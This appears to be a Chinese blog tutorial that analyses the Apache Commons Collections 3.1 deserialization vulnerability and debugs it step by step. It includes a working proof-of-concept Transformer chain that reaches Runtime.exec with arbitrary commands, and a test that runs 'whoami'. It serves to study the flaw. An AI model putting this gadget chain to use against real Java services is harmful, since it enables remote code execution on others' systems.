0x01.环境准备:

Apache Commons Collections 3.1版本,下载链接参考:

https://www.secfree.com/a/231.html

jd jui地址(将jar包转化为java源码文件):

https://github.com/java-https://www.secfree.com/a/231.html/jd-gui/releases

配置项目中的jdk版本:

https://blog.csdn.net/qq_22076345/article/details/82392236

设置class字节码输出路径

https://blog.csdn.net/zZ_life/article/details/51318306

为项目添加jar包

https://www.iteye.com/blog/zyjustin9-2172445

java object array(对象数组):

object obj[]=new object[5];

创建了一个Object数组,长度为5,这5个元素的值都是null,然后把创建好的数组实例的引用赋给obj变量。如果需要为这些元素分配具体的对象,则需要分别指定或用{}符号进行初始化

https://juejin.im/post/5a6ade5c518825733e60acb8 arrays工具类对数组进行操作

0x02.环境测试:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class fanshe {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {
//函数名字,传参类型,参数值
Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
Object newobject = transformer.transform(new StringBuffer("hi "));
System.out.println(newobject); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});
System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("whoami").getInputStream())).readLine());
}
}

从以上这段最简单的测试代码开始进行分析,

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

首先实例化了InvokerTransformer的对象,传入了要执行的方法名,参数类型,以及参数值,在传入值和类型时,要与java类中定义的变量的类型相一致

这里定义的入口参数也可以看出所需要的类型,这里参数类型为class类型的数组,接下来第二行

Object newobject = transformer.transform(new StringBuffer("hi"));

此时调用了transformer类的transform方法,传入了一个StringBuffer的一个匿名对象,其中transform函数的定义如下,这个函数是Object类型的,入口参数也为object类型,

此时如果input不为空,则会调用getclass方法得到当前对象的类对象,接下来通过调用getmethod方法,调用该类对象中的方法,其中传入的参数为两个,第一个为需要调用的

类中方法的方法名,第二个参数为调用的该方法的参数类型,此时getmethod的返回值为Method类型的对象,此时便可以通过调用method的invoke方法来实现我们想调用的方法的执行

比如此时使用反射机制完成对stringbuffer类的append方法的调用,从上图也可以看到入口参数类型为string,append方法实际上将传入append的字符串拼接到当前stringbuffer字符串的后面,然后返回当前字符串。

0x03.漏洞原理分析:

感觉这篇文章把这个漏洞的原因讲的非常详细,https://xz.aliyun.com/t/136

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

其中有一个接口可以通过反射机制来进行任意函数的调用,即InvokeTransformer

poc如下:

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; public class collections {
public static void main(String[] args) {
String command = (args.length !=0 ) ? args[0] : "calc";
String[] execArgs = command.split(",");
Transformer[] tarnsforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(tarnsforms);
Map temoMap = new HashMap<String,Object>();
Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain);
exMap.put("by", "SecFree");
}
}

poc的逻辑可以理解为:

构建BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

 Transformer transforms[] = {
//首先传入Runtime类
new ConstantTransformer(Runtime.class),
     //通过调用Runtime.getMethod("getRuntime")获的Runtime.getruntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
    //通过invoke函数获得Process类型的Runtime的实例化对象,这样才能通过对象->方法的形式调用exec函数
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {0, new Object[0]}
),
     //调用Runtime.exec('calc')
new InvokerTransformer("exec",
new Class[] {String[].class},
new Object[] {commands}
)
};

以上的代码即为transformer链的构成,当完成对这条链的转化,即完成了代码执行,以上代码相当于执行:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(commands);

0x04.poc断点调试分析:

首先第一步定义一个要执行的命令,并且定义transformer链,实际上为一个对象数组

其中第一个对象为ConstantTransformer的对象,入口参数Runtime.class,也就是通过.class方式,获取了Runtime这个类的类的对象

这里赋值给了ConstantTansformer类的iConstant成员变量,具体为啥第一个类对象要为这个类的对象,下文说。

第二个类对象为InvokerTransformer类的对象,之前已经知道InvokerTransformer类的作用:

        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
String newobject = transformer.transform(new StringBuffer("hi ")).toString();
System.out.println(newobject);

通过以上三行即可完成通过反射完成函数调用,其中首先要定义一个InvokerTransformer类对象,然后通过调用该对象调用transformer方法来完成我们所想要的函数的执行

其类的构造方法中第一个参数即为我们想要调用的方法名为getMethod,第二个为参数类型,第三个为参数值,这里实际上就是通过getMethod调用getRuntime函数

我们已经知道反射的过程为通过getMethod获取到想要调用的函数以后,下一步就是通过invoke函数来传入我们想要触发的类对象,从而使我们的目的函数和目标类连起来,

所以此时如上图所示,调用了invoke方法,此时传入的invoke的参数类型为类的类型对象,参数为类的对象

最后一步如上图所示,为调用exec函数,进行代码执行,此时参数类型为String数组,即可以执行多个命令,参数即为之前定义的command,至此为止,transformer对象数组构造完成,

创建这个数组的目的就是把后面要执行的函数放入里面,也就构成了一个函数链,接下来就是把transformers当做参数创建一个chainedTransformer对象,而chainedTransformer类有个方法就是就是将一个函数数组链式的执行,即chainedTransformer的transform方法

将会依次调用iTransformers数组中存储的对象的transform方法,也就是依次执行我们所需要的函数

如上图所示就把transformer链放到iTransformers变量中,方便后面的调用。

如上图所示,最后三行代码即为commons collections反序列化的触发,首先需要构造一个map对象,并利用java泛型来对hashmap的键值类型进行指定,接下来利用TransformedMap类的decorate方法来对map对象进行封装,其中封装的作用为指定要转化的map对象以及map对象中的键值要进行的转化方法(这里也可以是一个链,即我们要赋值的transformerChain),这里可以指定key,也可以指定value,接下来即通过put方法来对map对象的键值进行修改,其中put(key,value)即为将value加入hashMap中,此时将触发decorate中定义的transformer链,进行函数调用:

当f7单步执行到put函数,此时触发transformermap的put方法,因为decorate方法返回的是transformermap类的对象,此时首先转化key

在对value进行转化时将判断此时valueTransformer是否为空,因为我们之前定义了map的value进行转化的transformer链

可以看到此时valueTransformer即为之前decorate中封装的转化链,所以此时调用valueTransformer的transformer方法,入口参数为"secfree",为一个字符串

其中transformer链的第一个对象为ConstantTransformer类的对象,此时F7单步步入,可以看到,此时transform函数不管入口的input为什么,都返回一个iConstant,而iConstant使我们可控的,因此我们在这里可以返回任意类,此处返回为java.lang.Runtime类的对象

 

第二次进入循环时,可以看到此时object已经变成类java.lang.Runtime的对象

此时进入转化链的第二个invoketransformer类的transform方法,因为之前我们已经知道该类的transform方法能完成函数的调用,此时通过.getclass()方法能够直接获得java.lang.Runtime的类的类型

此时实际上通过调用invoke函数完成了对java.lang.Runtime类的getmethod函数的调用(input函数为要反射的类对象),其参数则为getRuntime()(this.iArgs),

即此时返回的即为java.lang.Runtime.getruntime类的对象

第三次进入循环,此时cls为reflect.Method类的对象,此时可以通过getMethod函数调用invoke函数,第三行通过invoke函数调用getRuntime类的invoke函数方便后面exec函数的调用,此时的input为

而此时的method为:

java.lang.reflect.Method类提供有关类或接口上单个方法的信息和访问权限。反映的方法可以是类方法或实例方法(包括抽象方法)。
java.lang.reflect.Method.invoke(Object obj, Object... args)方法使用指定的参数调用由此Method对象表示的底层方法

由上图可知此时我们已经知道Method类的变量实际上存储的为我们需要访问的方法,而Method.invoke()函数最终返回的是由invoke函数第一个参数所定义的对象以及第二个参数所定义的Method的参数所执行的返回值。

所以此时我们调用method.invoke即为调用getruntime.invoke,即进入第四轮循环时,此时object即为上一轮getruntime.invoke()函数的返回值也就是当前Java应用程序相关的运行时对象Runtime

第四次循环进入时,此时就要进行调用exec函数进行执行calc,此时通过getclass得到Runtime对象所属的类为java.lang.Runtime,接着通过getmethod获取java.lang.runtime类的exec方法

第三行也就是method.invoke反射调用执行java.lang.Runtime类的exec函数,参数即为calc,即此时弹出计算器。

0x05.参考:

https://www.secfree.com/a/231.html

http://blog.orleven./2017/11/11/java-deserialize/

https://forum.90sec.com/t/topic/89

Apache Commons Collections 反序列化详细分析学习总结的更多相关文章

  1. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  2. 关于java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap的错误解决办法

    在JavaEE开发中,在把配置文件中的数据或用户表单提交上来的数据,封装在相应JavaBean的对象的对应属性中时:在实际开发中,使用第三方法工具包BeanUtils(commons-beanutil ...

  3. java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap报错解决

    在使用 commons-beanutils-1.9.2.jarcommons-logging-1.1.1.jar 的时候报错 java.lang.NoClassDefFoundError: org/a ...

  4. java.lang.ClassNotFoundException: org.apache.commons.collections.FastHashMap

    七月 26, 2017 1:52:15 上午 org.apache.catalina.core.StandardWrapperValve invoke严重: Servlet.service() for ...

  5. 出现java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap错误问题解决

    首先出现这个问题,你应该是用了 BeanUtils.populate(meter,map); import org.apache.commons.beanutils.BeanUtils;并且导入了co ...

  6. Apache Commons Fileupload 反序列化漏洞分析

    下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...

  7. Apache Commons Collections

    http://commons.apache.org/proper/commons-collections/userguide.html 1. Utilities SetUtils Collection ...

  8. 关于使用工具类org.apache.commons.collections.ListUtils合并List的问题

    今天在做项目时,需要将几个List进行合并,于是就用到了apache提供关于List操作的工具类ListUtils,但是在使用的过程中发现一些问题. public static void main(S ...

  9. 安卓项目中使用JSON引发的一个小错误 Multiple dex files define Lorg/apache/commons/collections/Buffer

    原因: 这里添加的jar包和android自带的jar产生了冲突

随机推荐

  1. keras 学习-线性回归

    园子里头看到了一些最基础的 keras 入门指导, 用一层网络,可以训练一个简单的线性回归模型. 自己学习了一下,按照教程走下来,结果不尽如人意,下面是具体的过程. 第一步: 生成随机数据,绘出散点图 ...

  2. 在linux中部署项目并创建shell脚本

    1.首先要在idea中父工程maven包下执行clean生成的target包 2.执行package打包,打包时候讲test勾去掉 3.将target包中生成的jar包cp出来 此处注意打包时必须要保 ...

  3. 二、Ansible的Ad-hoc介绍篇

    一.什么是Ad-hoc 称为临时命令,简单说,就是在命令行界面,直接通过一条ansible命令,去指定主机执行指定指令,功能有限 例如:ansible localhost -m command -a ...

  4. net core Webapi基础工程搭建(五)——缓存机制

    目录 前言 Cache Session Cookie 小结 补充 前言 作为WebApi接口工程,性能效率是必不可少的,每次的访问请求,数据库读取,业务逻辑处理都或多或少耗费时间,偶尔再来个各种花式f ...

  5. Hyper-V修改Docker for Windows存储设置

    自从Win10安装了Docker for Windows后,C盘容量爆炸,必须做一波迁移了.我的Docker使用的是Windows的Hyper-V虚拟机,于是google了一番找到以下一篇文章 doc ...

  6. 【雕爷学编程】Arduino动手做(16)---数字触摸传感器

    37款传感器和模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器与模块,依照实践出真知(动手试试)的理念,以学习和交流为目的,这里准备 ...

  7. 100天搞定机器学习|day45-53 推荐一本豆瓣评分9.3的书:《Python数据科学手册》

    <Python数据科学手册>共五章,每章介绍一到两个Python数据科学中的重点工具包.首先从IPython和Jupyter开始,它们提供了数据科学家需要的计算环境:第2章讲解能提供nda ...

  8. .net core 微服务项目-介绍篇

    项目介绍 1.各种方式连接API都会连接到 APIGateway 来进行统一的分发 Ocelot 2.当api需要授权时 需要请求授权服务 IdentityServer4 3.授权服务对请求进行调用u ...

  9. 人脸识别Demo

    ★.本实例使用百度智能云-人工智能-人脸识别API实现. ★.楼下安装了刷脸进门.闲暇时无聊写了个Demo 主界面显示如下图: 本实例,包括了所有人脸识别API的调用. 1. 创建楼号,对应API中创 ...

  10. python 24 封装、多态

    目录 1. 封装.多态 2. 鸭子类型--Duck typing 3. 类的约束 5. super深度剖析 1. 封装.多态 封装:将代码.数据放入一个容器空间中,并且可以使用. 多态:一个事物可以呈 ...